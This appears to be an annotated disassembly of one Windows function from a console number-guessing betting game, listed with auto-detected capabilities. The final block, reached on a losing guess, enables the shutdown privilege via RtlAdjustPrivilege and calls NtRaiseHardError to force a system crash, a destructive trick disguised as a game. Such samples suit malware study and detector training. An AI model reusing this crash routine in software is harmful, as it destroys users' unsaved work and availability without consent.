Function at 0x140001300
Capabilities:
Encode data using xor
Execute command
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1300]
mov eax, 0x1400
call fcn.140002cd0
sub rsp, rax
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x12f0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov r14d, 0x3e8
mov r12d, 0x80000000
nop word [rax + rax]
lea rcx, [0x140003424]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, r14d
lea rcx, str.Balance:__d_n_n
call fcn.140001020
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x12e4], 0xffffffff
mov dword [rsp + 0x64], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x64], eax
inc rdx
cmp rdx, 0x270
jb 0x1400013b0
mov dword [rsp + 0x60], 0x270
lea rcx, [rsp + 0x60]
call fcn.140001ba0
mov ecx, eax
imul rax, rcx, 0xb
cmp eax, 3
ja 0x140001405
nop dword [rax]
lea rcx, [rsp + 0x60]
call fcn.140001ba0
mov ecx, eax
imul rax, rcx, 0xb
cmp eax, 4
jb 0x1400013f0
shr rax, 0x20
lea r15d, [rax + r12]
xor r15d, r12d
lea rcx, str.Please_enter_the_amount_of_money_you_would_like_to_wager:_n
call fcn.140001020
lea rdx, [rsp + 0x38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400017d0
lea rcx, [0x140003474]
call fcn.140001020
lea rdi, [rsp + 0x38]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x50]
cmp r8, 0xf
cmova rdi, rdx
mov rcx, qword [rsp + 0x48]
add rdi, rcx
lea rbx, [rsp + 0x38]
cmp r8, 0xf
cmova rbx, rdx
cmp rbx, rdi
je 0x140001494
nop word [rax + rax]
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalpha]
test eax, eax
jne 0x140001485
inc rbx
cmp rbx, rdi
jne 0x140001470
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x38]
cmp r8, 0xf
cmova rax, rdx
add rax, rcx
cmp rbx, rax
je 0x1400014b2
lea rcx, str.Please_enter_a_valid_wager_amount_using_only_digits._n_n
jmp 0x1400014d3
lea rcx, [rsp + 0x38]
cmp r8, 0xf
cmova rcx, rdx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov esi, eax
cmp eax, r14d
jle 0x1400014e8
lea rcx, str.You_do_not_have_enough_money_to_wager_this_amount._n_n
call fcn.140001020
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001370
cmp esi, 0x32
jge 0x14000150e
mov edx, 0x32
lea rcx, str.The_minimum_amount_is__d__please_try_again_with_a_valid_amount._n_n
call fcn.140001020
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001370
xor edx, edx
mov r8d, 0xa
lea rcx, str.Place_your_guess_with_a_number_between__d_and__d:_n
call fcn.140001020
lea rdx, [rsp + 0x38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400017d0
lea rcx, [0x140003474]
call fcn.140001020
lea rdi, [rsp + 0x38]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x50]
cmp r8, 0xf
cmova rdi, rdx
mov rcx, qword [rsp + 0x48]
add rdi, rcx
lea rbx, [rsp + 0x38]
cmp r8, 0xf
cmova rbx, rdx
cmp rbx, rdi
je 0x140001594
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalpha]
test eax, eax
jne 0x140001585
inc rbx
cmp rbx, rdi
jne 0x140001570
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x38]
cmp r8, 0xf
cmova rax, rdx
add rax, rcx
cmp rbx, rax
je 0x1400015b5
lea rcx, str.Please_enter_a_number_using_only_digits._n_n
jmp 0x1400014d3
lea rcx, [rsp + 0x38]
cmp r8, 0xf
cmova rcx, rdx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ebx, eax
mov edx, r15d
lea rcx, str.The_random_number_was__d__n_n
call fcn.140001020
cmp ebx, r15d
jne 0x1400015fd
lea rcx, str.Congrats__You_won_the_wager__You_got_double_the_amount_of_money_back_that_you_wagered._n_n
call fcn.140001020
add r14d, esi
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001370
lea rcx, str.It_seems_that_you_guessed_wrong._Better_luck_next_time__n_n
call fcn.140001020
sub r14d, esi
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
jmp 0x140001370